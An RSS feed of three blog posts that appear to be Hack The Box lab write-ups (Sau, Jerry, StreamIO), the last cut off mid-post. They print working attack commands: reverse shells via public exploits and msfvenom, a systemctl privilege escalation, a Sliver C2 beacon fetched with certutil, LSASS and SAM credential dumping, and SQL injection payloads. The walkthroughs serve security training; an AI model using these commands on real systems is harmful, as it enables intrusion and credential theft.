<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Need on Medium]]></title>
        <description><![CDATA[Stories by Need on Medium]]></description>
        <link>https://medium.com/@xNEED?source=rss-9d52dd8156ab------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Lg_6WaQ2dC170gE38v-B2w.png</url>
            <title>Stories by Need on Medium</title>
            <link>https://medium.com/@xNEED?source=rss-9d52dd8156ab------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 11:04:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@xNEED/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB — Sau]]></title>
            <link>https://medium.com/@xNEED/htb-sau-1f7ac8c26ac1?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f7ac8c26ac1</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Sun, 19 Jul 2026 17:16:58 GMT</pubDate>
            <atom:updated>2026-07-19T17:37:03.558Z</atom:updated>
            <content:encoded><![CDATA[<p>An easy-rated Linux machine from the <strong>Intro to Red Team </strong>path on HTB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/1*x8RJoUyTIrEnEw7OvG9RtA.png" /></figure><blockquote>Sau is an Easy Difficulty Linux machine that features a Request Baskets instance that is vulnerable to Server-Side Request Forgery (SSRF) via [CVE-2023-27163](https://nvd.nist.gov/vuln/detail/CVE-2023-27163). Leveraging the vulnerability we are to gain access to a Maltrail instance that is vulnerable to Unauthenticated OS Command Injection, which allows us to gain a reverse shell on the machine as puma. A sudo misconfiguration is then exploited to gain a root shell.</blockquote><p>Let’s do some port scanning</p><pre>nmap -sCV -p- $IP -min-rate 10000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dmCk6ltUrS8EhhU3kmeukw.png" /><figcaption>Ports and Services enumeration</figcaption></figure><p>For DNS resolution, add to/etc/hosts</p><pre>echo &quot;$IP sau.htb&quot; | sudo tee -a /etc/hosts<br>cat /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*LoV_YNIPMM-O9IZtc3LKfw.png" /><figcaption>DNS Resolution</figcaption></figure><p>let&#39;s check out http://sau.htb:5555/ and see what&#39;s going on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRBjCR0g-8D9M8PmcLHi9Q.png" /><figcaption>Request Baskets</figcaption></figure><p>we see that it&#39;s powered by request-baskets which is running version 1.2.1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*6HHSpMw0MJSZeGz47zRCMA.png" /><figcaption>Request Baskets version</figcaption></figure><p>Let&#39;s see if any vulnerabilities are usingSearchsploit &amp; Metasploit, but there are no quick wins.</p><pre>searchsploit request baskets<br>searchsploit request-baskets<br><br>search request-baskets<br>search baskets<br>search basket</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*6ANeKvwyxFEx5n9Diyl0_Q.png" /><figcaption>Searchsploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*hOBIH4g2731PVpxRxkUYKA.png" /><figcaption>Metasploit</figcaption></figure><p>Now onto our favorite tool, Google. We observe that there is a Server-Side Request Forgery (SSRF) tracked as CVE-2023–27163 that allows an attacker to create a basket with a redirector in it.</p><pre>request baskets 1.2.1 exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*NE8M1db7_htKtEJC2pxXaw.png" /></figure><p>Thankfully, <a href="https://www.sentinelone.com/vulnerability-database/cve-2023-27163/">SentinelOne</a> provides us with this publicly provided PoC <a href="https://github.com/J0ey17/Exploit_CVE-2023-27163">Exploit_CVE-2023–27163</a>, which pretty much sets everything up for us.</p><pre>cd /opt<br>sudo git clone https://github.com/J0ey17/Exploit_CVE-2023-27163<br>sudo chmod +x Exploit_CVE-2023-27163<br>sudo nano PoC_27163.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*1vRjKhBUshNExKAxqx8ByA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*uy9oZrp8L-_535vE-oz0oQ.png" /></figure><p>We see it is powered by Maltrail version 0.53 which I’ve never heard of before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*l0pUIPTm71DT_4lfQ_vWPg.png" /></figure><p>We should also manually go to the webpage with the basket name and token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rdFEwno-n1E0O8wPZ9RoyQ.png" /><figcaption>Basket: cV3gbrsb</figcaption></figure><p>Let’s restart the enumeration process; we see there is a Metasploit module, but it doesn&#39;t work — it’s probably a skill issue on my part, but I can&#39;t be bothered.</p><pre>searchsploit maltrail<br>search maltrail</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*cSvc4_n8pOnmiKvMEEfolg.png" /><figcaption>Searchsploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vLLOOSKkJ7Lq_UCmEjP3mg.png" /><figcaption>maltrail_rce</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wCmKYN3XSQwGhCW7pkwhQg.png" /><figcaption>Failure</figcaption></figure><p>Let’s go to, Google and we see there is a nice RCE PoC for the exploit. The PoC exploits the /login page by leveraging the subprocess.check_output() function.</p><pre>maltrail v 0.53 vulnerability</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*czalLr0zmmlJbpT2EQw2EA.png" /><figcaption>PoC for Maltrail</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*9YBlkuZYV8QAdKj1iuq8Fw.png" /><figcaption>PoC page</figcaption></figure><p>Now let&#39;s download the exploit and get to work!</p><pre>cd /opt<br>sudo git clone https://github.com/spookier/Maltrail-v0.53-Exploit.git<br>sudo chmod +x Maltrail-v0.53-Exploit/<br>cd Maltrail-v0.53-Exploit/<br>sudo chmod +x exploit.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*Tj28ySAfw2XrPAyPqdKVJQ.png" /></figure><p>We need to spin up a listener and execute the exploit</p><pre>ifconfig -&gt; #Tun0<br><br>nc -lvnp $ListeningPort<br><br>python exploit.py $Tun0IP $ListeningPort http://sau.htb:55555/$BASKETCREATED</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*rgtLCgNlHPWvEmS8msLRlA.png" /><figcaption>Tun0 IP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*kKBqywqpEy9QspiiNDFmIQ.png" /><figcaption>Listener</figcaption></figure><p>I was having issues when attempting to execute this exploit; it kept saying that port 81 was being denied. So I changed it toport 80 and checked Insecure TLS just to be sure, and it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*eWeFi5TpY3qaRFgVBcBCDw.png" /><figcaption>Configuration settings</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*8A3JexgOrDh0Oe_jo3bodg.png" /><figcaption>Execution of PoC</figcaption></figure><p>As per usual, let’s upgrade our shell so it&#39;s more stable, and we see that we are userpuma, and we can grab the user flag as well.</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39; <br>cd ~<br>cat user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*SdXhh1vkDJjxVGs-07VZsA.png" /></figure><p>We check to see which Systemctl version Sau is running; we see that it is systemd 245 (245.4–4ubuntu3.22)</p><pre>systemctl --version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pnwCzhaBR7-GIPhWxu5wMQ.png" /></figure><p>Which, per good ol Google, has a Local Privilege Escalation that goes by CVE-2023–26604</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*CCtVerygcP4EFR1ils6c6w.png" /></figure><p>Let’s see what privileges we have. We see that we have the ability to execute trail.service from the location /usr/bin/systemctl We can see that it trail.service is running asSudo, so we should be able to pop a shell from this using the shell command !sh much like CVE-2023–26604 points out. Thankfully, we are successful in escalating to root!</p><pre>sudo -l<br>sudo systemctl status trail.service<br>!sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*goaNVbduFbe_HhD1228Qmw.png" /><figcaption>trail.service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*Jh1kdJxsibfRAgWODRQ2mQ.png" /><figcaption>Less prompt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*nFGhN4aQM_vS9W0lR13ivw.png" /><figcaption>!sh prompt escalation</figcaption></figure><p>we now grab the root flag</p><pre>id<br>cd /root<br>cat root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*qdyHCnt4j-tpxXD9gXHxeQ.png" /><figcaption>root flag</figcaption></figure><p>Back to Metasploit because why didn&#39;t it work?</p><p>Turns out, I just didn&#39;t set the URI correctly and just left it / instead of adding the basket /MmxbNqIU that was created.</p><pre>msfconsole<br>use exploit/unix/http/maltrail_rce<br>set RHOSTS sau.htb<br>set RPORT 55555<br>set TARGETURI /MmxbNqIU<br>set LHOST $Tun0IP<br>set LPORT 1337<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dIZBGr9qk6voicEXKhlKXw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f7ac8c26ac1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Jerry]]></title>
            <link>https://medium.com/@xNEED/htb-jerry-185754aeba40?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/185754aeba40</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Fri, 17 Jul 2026 12:33:44 GMT</pubDate>
            <atom:updated>2026-07-17T12:41:41.285Z</atom:updated>
            <content:encoded><![CDATA[<p>An easy-rated box from the <strong>Intro to Red Team </strong>path on HTB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*t5UEsjajRa7joeq7QfvQmw.png" /><figcaption>Jerry</figcaption></figure><p><em>Jerry is an easy-difficulty Windows machine that showcases how to exploit Apache Tomcat, leading to an </em><em>NT Authority\SYSTEM shell, thus fully compromising the target.</em></p><p>Let’s scan some ports. We see that there is an Apache Tomcat 7.0.88 version running on port 8080.</p><pre>nmap -Pn -n -sCV $IP -p- -min-rate 10000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*pfB-wW0_L1sc3L3V-g5R-g.png" /><figcaption>Enumeration of ports and services</figcaption></figure><p>For DNS resolution, add to/etc/hosts</p><pre>echo &quot;$IP jerry.htb&quot; | sudo tee -a /etc/hosts<br>cat /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*VwAeBRcR5yf7-uH-zABRiQ.png" /><figcaption>DNS Resolution</figcaption></figure><p>With that added, let’s check out the website. We see that it’s a fairly basic Tomcat landing page. When clicking onServer Status, we get a login prompt, and since we don’t know the password, we get a 401 Unauthorized page. We do see that there is a templated password for user tomcat with passwords3cret.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nKFIMS6fETF9SVd-f2q7qw.png" /><figcaption>Apache Tomcat landing page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*p89l4KG88twpz86nw3sS6A.png" /><figcaption>Login Prompt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*54DsLI7fNPIe7EqK9X-Njg.png" /><figcaption>Potential username and password enumeration</figcaption></figure><p>Let’s conduct some directory enumeration utilizing Ffuf, which discovers directories manager, aux, and con which give 200 successand manager gives a302 redirect</p><pre>ffuf -u http://jerry.htb:8080/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xMgfyy5Y3UT9b8EQizhDXw.png" /><figcaption>Directory enumeration</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*m609NS_yiO8yWYUfu0GsyQ.png" /><figcaption>404 error for /aux</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*V1k6M-laYBer60GqsNsJ0Q.png" /><figcaption>404 error for /con</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*VU4oFEm1U1LpLDkXPS8yUA.png" /><figcaption>Examples directory</figcaption></figure><p>When we go to /manager we get a login box again, so we give the credentials tomcat:s3cret which we observed earlier, and it works! Once on the Manager page, we observe that we can deploy XML files, WARfiles, check for memory leaks using diagnostics and server information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u7J5FI4fVWoIxUKrFHaDww.png" /><figcaption>Tomcat Application Manager</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgPa3TDgr03TM75FF8QoRg.png" /><figcaption>FIle upload and Deploy feature</figcaption></figure><p>Now, let&#39;s see if there are any exploits for this version of Apache Tomcat 7.0.88 We observe that there could be some JSP Upload bypasses that we could try, but it&#39;s also out of date; why not try anyway.</p><pre>searchsploit Apache Tomcat 7<br>locate windows/webapps/42953.txt<br>cat /usr/share/exploitdb/exploits/windows/webapps/42953.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hTxV5uIHSkgjrO1kTaSdQw.png" /><figcaption>JSP Upload Bypass</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ddgg0bi0tRYlRglcDmTZhA.png" /><figcaption>CVE-2017–12615</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*VeHcAjOMgdRlhXuHGd5Ugg.png" /><figcaption>42966.py help page</figcaption></figure><p>Alright, so let’s give CVE-2017–12617 a rip. We observe that it is not vulnerable, much as we suspected.</p><pre>/usr/share/exploitdb/exploits/jsp/webapps/42966.py -u http://jerry.htb:8080/manager/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ovfCm01hmF9dErMYyKppuw.png" /><figcaption>CVE-2017–12617</figcaption></figure><p>Well, let’s try CVE-2017–12615, and we discover that it’s full of broken Python print syntax, so we just add lots of( ). So we will fix the Python script and identify that it’s not vulnerable — shocking</p><pre>sudo git clone https://github.com/1337g/CVE-2017-12615.git<br>python CVE-2017-12615.py http://$IP:8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*5G9UlPR_6yOqIRmSKoXxxQ.png" /><figcaption>python error messages</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*K0Kygl_Qk8K0FyLFieGxQA.png" /><figcaption>Add lots of ( ) and fix a typo in Enter</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*OBJnFQQQ25HH2NxwqVqAMQ.png" /><figcaption>host not vulnerable</figcaption></figure><p>Now that we have finished our random sidequest of trying random just out-of-version CVEs, let&#39;s see that there is an upload functionality; we may have to do it live. We see that it accepts WAR files, so let’s go to Google and just see how to create a WAR file with Msfvenom</p><pre>msfvenom and war file</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*s_xQS7MTxumVPTR3El4AXA.png" /><figcaption>Google</figcaption></figure><p>Let’s create the Msfvenom payload and create our Netcat listener</p><pre>msfvenom -p java/jsp_shell_reverse_tcp LHOST=1$IP LPORT=8888 -f war &gt; bomb.war<br>nc -lvnp 8888</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*h1GZ_XB7TjtAyL12cXzIVA.png" /><figcaption>WAR payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CbyNp3Ntp190Sew3KViuOw.png" /><figcaption>Upload functionality</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*SEMXRqlw-ze6hT8ps_nqGg.png" /><figcaption>Select bomb.war</figcaption></figure><p>Select Deploy and we see bomb.war now has its own path /bomb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T2XWGVyp38RtpcAiROJpUw.png" /><figcaption>/Bomb directory</figcaption></figure><p>Click on /bomb and check our listener, and we have our reverse shell. We have to backtrack all the way to users, move to Administrator, and enumerate a combined user and rootflag 2 for the price of 1.txt</p><pre>whoami /all<br>cd ../<br>dir<br>cd users<br>cd Administrator<br>cd Desktop<br>dir<br>cd flags<br>more &quot;2 for the price of 1.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dO5li2RvB5tN_6FERLdcqQ.png" /><figcaption>NT Authority\System priviliges</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*g_jBy2aG6RRLXJ6uGQHMlw.png" /><figcaption>flag 2 for the price of 1.txt</figcaption></figure><p><strong>Command and Control (C2)</strong></p><p>Create a new directory for payloads</p><pre>mkdir web-server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*wd4HlssrUhxz_xbobQ6f4Q.png" /></figure><p>Download and set up Sliver</p><pre>curl https://sliver.sh/install | sudo bash<br>sudo systemctl start sliver<br>sudo apt install mingw-w64<br>sliver</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*15y2NIDw-TeP4a3-dO2nSg.png" /><figcaption>Sliver</figcaption></figure><p>Let’s generate our beacon and create our listener</p><pre><br>generate --mtls $IP:443 --os windows --save ~/web-server<br>mtls -L $IP -l 443<br>OPEN_BRACE.exe #$YOUR_PAYLOAD.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*YuO9ZGGCJjCHVk2C7cp_jg.png" /><figcaption>Beacon generation</figcaption></figure><p>Now we host our payload from the directory we have our beacon in ~/web-server</p><pre>python -m http.server 7777</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*D3MY5wcuO5DRNMCmFgHyLA.png" /><figcaption>python host</figcaption></figure><p>We jump back onto our victim box, and utilize <a href="https://lolbas-project.github.io/">LOLBIN</a> certutil to download the binary. Once downloaded, we execute it and should see a session $ID pop-up — which means it was successful.</p><pre>certutil.exe -urlcache -f http://$IP:7777/$YOUR_PAYLOAD.exe $YOUR_PAYLOAD.exe<br>.\$YOUR_PAYLOAD.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*oua3rTY6MmeOeQmp0tGnnw.png" /><figcaption>Python hosting</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KkGbyKu8-iPLBSJxO4hWUg.png" /><figcaption>Certutil and beacon execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pVK17GxN06eAmFaUwCyRCA.png" /><figcaption>Successful Session creation</figcaption></figure><p>Check our jobs and connect via interactive session</p><pre>jobs<br>sessions<br>sessions -i $ID</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4beUA0zRqOSChJ2hAXmwoQ.png" /><figcaption>Jobs and sessions validation</figcaption></figure><p>Let’s check the armory for anything awesome, and we see remote-procdump and hashdump . Armoryis the baked-in “marketplace” of community-approved tools that we can use.</p><pre>armory</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AGaYZXM-_WX-cBvU9hWXCA.png" /><figcaption>Sliver Armory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F_iXaAfaR8vcbD_dnWk7tA.png" /><figcaption>remote-procdump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wcxwRP7o43Ts8GK4J5BBSA.png" /><figcaption>hashdump</figcaption></figure><p>Let’s go ahead and dump LSASS. First we need to list the processes, install remote-procdump, execute remote-procdump, and then exfiltrate it. Which we are ultimately successful in doing.</p><pre>ps<br>armory install remote-procdump<br>remote-procdump -- -pid $PID-output-path &quot;C:\Users\Administrator\Desktop\flags\lsass.dmp&quot;<br>ls<br>download lsass.dmp<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*GA88qf-P9Jh4NfKV3m2ZPg.png" /><figcaption>Process enumeration</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lcKgJ67BOmLqr4MC-P6VKw.png" /><figcaption>Successful LSASS dump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MSuOa1YRC70dr9n-YZBHHQ.png" /><figcaption>Exfiltration of LSASS dump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*feV1vt7AhrkHQJl12vKg8w.png" /><figcaption>Confirmation of exfiltration</figcaption></figure><p>Now we need pypykatz to do the rest for us</p><pre>pip install pypykatz<br>pypykatz lsa minidump lsass.dmp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*wagD1T_aLztWyOry_PKfDQ.png" /><figcaption>Successful LSASS parse</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8NwQeq_Vb895cBNPiUHQUQ.png" /><figcaption>No juicy information</figcaption></figure><p>Okay, no NTLM hashesor cleartext from WDIGEST, so let&#39;s dump SAM hashes. We were able to obtain local administrator hashes.</p><pre>armory install hashdump<br>hashdump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7iyv3D5HYT_FUJORMa5mg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=185754aeba40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — StreamIO]]></title>
            <link>https://medium.com/@xNEED/htb-streamio-0ae68d046633?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ae68d046633</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 03:07:18 GMT</pubDate>
            <atom:updated>2026-07-16T03:14:50.348Z</atom:updated>
            <content:encoded><![CDATA[<p>A medium-rated box from the <strong>Active Directory Exploitation path</strong> that truly was not fun at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*2UDZs26qhbVRdRKaqK9QRQ.png" /></figure><p><em>StreamIO is a medium machine that covers subdomain enumeration leading to an SQL injection in order to retrieve stored user credentials, which are cracked to gain access to an administration panel. The administration panel is vulnerable to LFI, which allows us to retrieve the source code for the administration pages and leads to identifying a remote file inclusion vulnerability, the abuse of which gains us access to the system. After the initial shell we leverage the SQLCMD command line utility to enumerate databases and obtain further credentials used in lateral movement. As the secondary user we use </em><em>WinPEAS to enumerate the system and find saved browser databases, which are decoded to expose new credentials. Using the new credentials within BloodHound we discover that the user has the ability to add themselves to a specific group in which they can read LDAP secrets. Without direct access to the account we use PowerShell to abuse this feature and add ourselves to the </em><em>Core Staff group, then access LDAP to disclose the administrator LAPS password.</em></p><p>Let’s start by scanning some ports. We discover that ports 80 &amp; 443 are open. We identify that the domain is streamio.htb as well as the subdomain watch.streamio.htb .</p><pre>nmap -sCV $IP -p- --min-rate 10000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-kNB9ntuGjkjWGOx8dLYjQ.png" /><figcaption>Ports and services enumeration</figcaption></figure><p>Let’s go ahead and utilize NetExec to identify the device name which is DC, even though we identified it as part of the Nmap scan.</p><pre>nxc smb $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4cOPoZfn6cG115Xim9wig.png" /><figcaption>Host name discovery</figcaption></figure><p>For DNS resolution, add to/etc/hosts</p><pre>echo &quot;$IP streamIO.htb DC.streamIO.htb watch.streamIO.htb&quot; | sudo tee -a /etc/hosts<br>cat /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KYWU0JVOXL4WoK8Mha5tZA.png" /><figcaption>DNS Resolution</figcaption></figure><p>Since we discovered some open HTTP/S earlier in our nmap scan, let’s do some directory enumeration utilizing Ffuf. We identify index.php which isn’t really out of the norm.</p><pre>ffuf -w /usr/share/dirb/wordlists/common.txt -u https://streamio.htb/FUZZ -mc 200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*ZLZxdOZdMqxyR3XGfpeMXA.png" /><figcaption>Directory enumeration</figcaption></figure><p>Now let’s move onto subdomain enumeration utilizing Ffuf which we discover watch.streamio.htb which we already identified earlier and added to our /etc/hosts.</p><pre>ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://streamIO.htb -H &quot;Host: FUZZ.streamIO.htb&quot; -fs 703</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ulFbF_p2Pi4HG6wym5MmYg.png" /><figcaption>Subdomain enumeration</figcaption></figure><p>Time to continue our enumeration of streamio.htb and we discover register.php and login.php when we use a different wordlist. We specifically used the -e .phpflag to find PHP files and used the -mc 200 flag to only find matching cases.</p><pre>ffuf -u https://streamio.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -e .php -mc 200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*TTTBDB9lKmpRVZsQ7qv4tg.png" /><figcaption>PHP file enumeration</figcaption></figure><p>We can now look at https://streamio.htb/register.php and we created a user to attempt to log in, but it was not successful.</p><pre>need<br>P@ssw0rd!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*299Nt5fLuwaE0yxK6L7tOw.png" /><figcaption>User and password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5lAlOzkr1sT7p0D0tdl9Xw.png" /><figcaption>Successful account creation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ci5TdaRo3GkBBZq-IF2q8g.png" /><figcaption>Failed account login</figcaption></figure><p>Well, now we need to go back to https:/watch.streamio.htb and observe that there is an online streaming service that is being offered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*OYczUiba9CCtvAX2mXxunw.png" /><figcaption>Landing page</figcaption></figure><p>Let’s go back to the drawing board and enumerate https://watch.streamio.htb , we enumerate search.php and blocked.php</p><pre>ffuf -u https://watch.streamio.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -e .php -mc 200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4SQt3UMeKkIOV1a_L8plw.png" /></figure><p>Let’s check out https://watch.streamio.htb/search, click 500 Days of Summer, and we get a nice little alert box that says some security issues are going on, but really nothing beneficial to us currently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*rV5kJ8iG9l2Y0h3MBcGyAg.png" /><figcaption>Alert box</figcaption></figure><p>Scroll down and pick a random move; I chose Arrow. We observe that any prompt that we enter — it will attempt to pull it, which has the potential to be abused via SQL Injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*jKwTmWBwtUzza8q5N8hRsA.png" /><figcaption>Arrow</figcaption></figure><p>Since we are thinking that we will need to attempt an SQL Injection, we are going to attempt to throw the whole sink at it. There are some pretty good resources out there, specifically <a href="https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet#LineCommentAttacks">Invicti</a> and <a href="https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection">OWASP</a>.</p><pre>&#39; OR 1=1-- -<br>&#39; OR &#39;1&#39;=&#39;1<br> OR &#39;1&#39;=&#39;1&#39; --<br>&#39; OR &#39;1&#39;=&#39;1 #<br>admin&#39; --  #THIS WORKS KIND OF<br>&#39;;-- -  #THIS WORKS<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*fpOLOe0cgIlWp5xRUBjNng.png" /><figcaption>Basic SQL Injection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*2wqhiCAykdhR3Xoboz_pmA.png" /><figcaption>Blocked Activity</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*MIkZJd8S3nUz-Tqy75gfDA.png" /><figcaption>SQL Injection</figcaption></figure><p>We see that admin&#39; -- works because it’s not blocked… but nothing comes back with it. So we know sql injection works; we just need to iterate to find the sweet spot on what perfectly works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*cQYBS22CNCLXC2MBpY8K0w.png" /><figcaption>No blocked response is a response</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*8lhwZKI-wgYhFkqPnSgs2g.png" /><figcaption>Successful SQL Injection</figcaption></figure><p>Now that we know &#39;;-- - works, we need to start identifying Columns. We do that by utilizing UNION SELECT statements. We iterate until we identify that 6 columns is the correct amount.</p><pre>need&#39; union select 1;-- -<br>need&#39; union select 1,2;-- -<br>....<br>need&#39; union select 1,2,3,4,5,6;-- -  #works</pre><figure><img alt="" 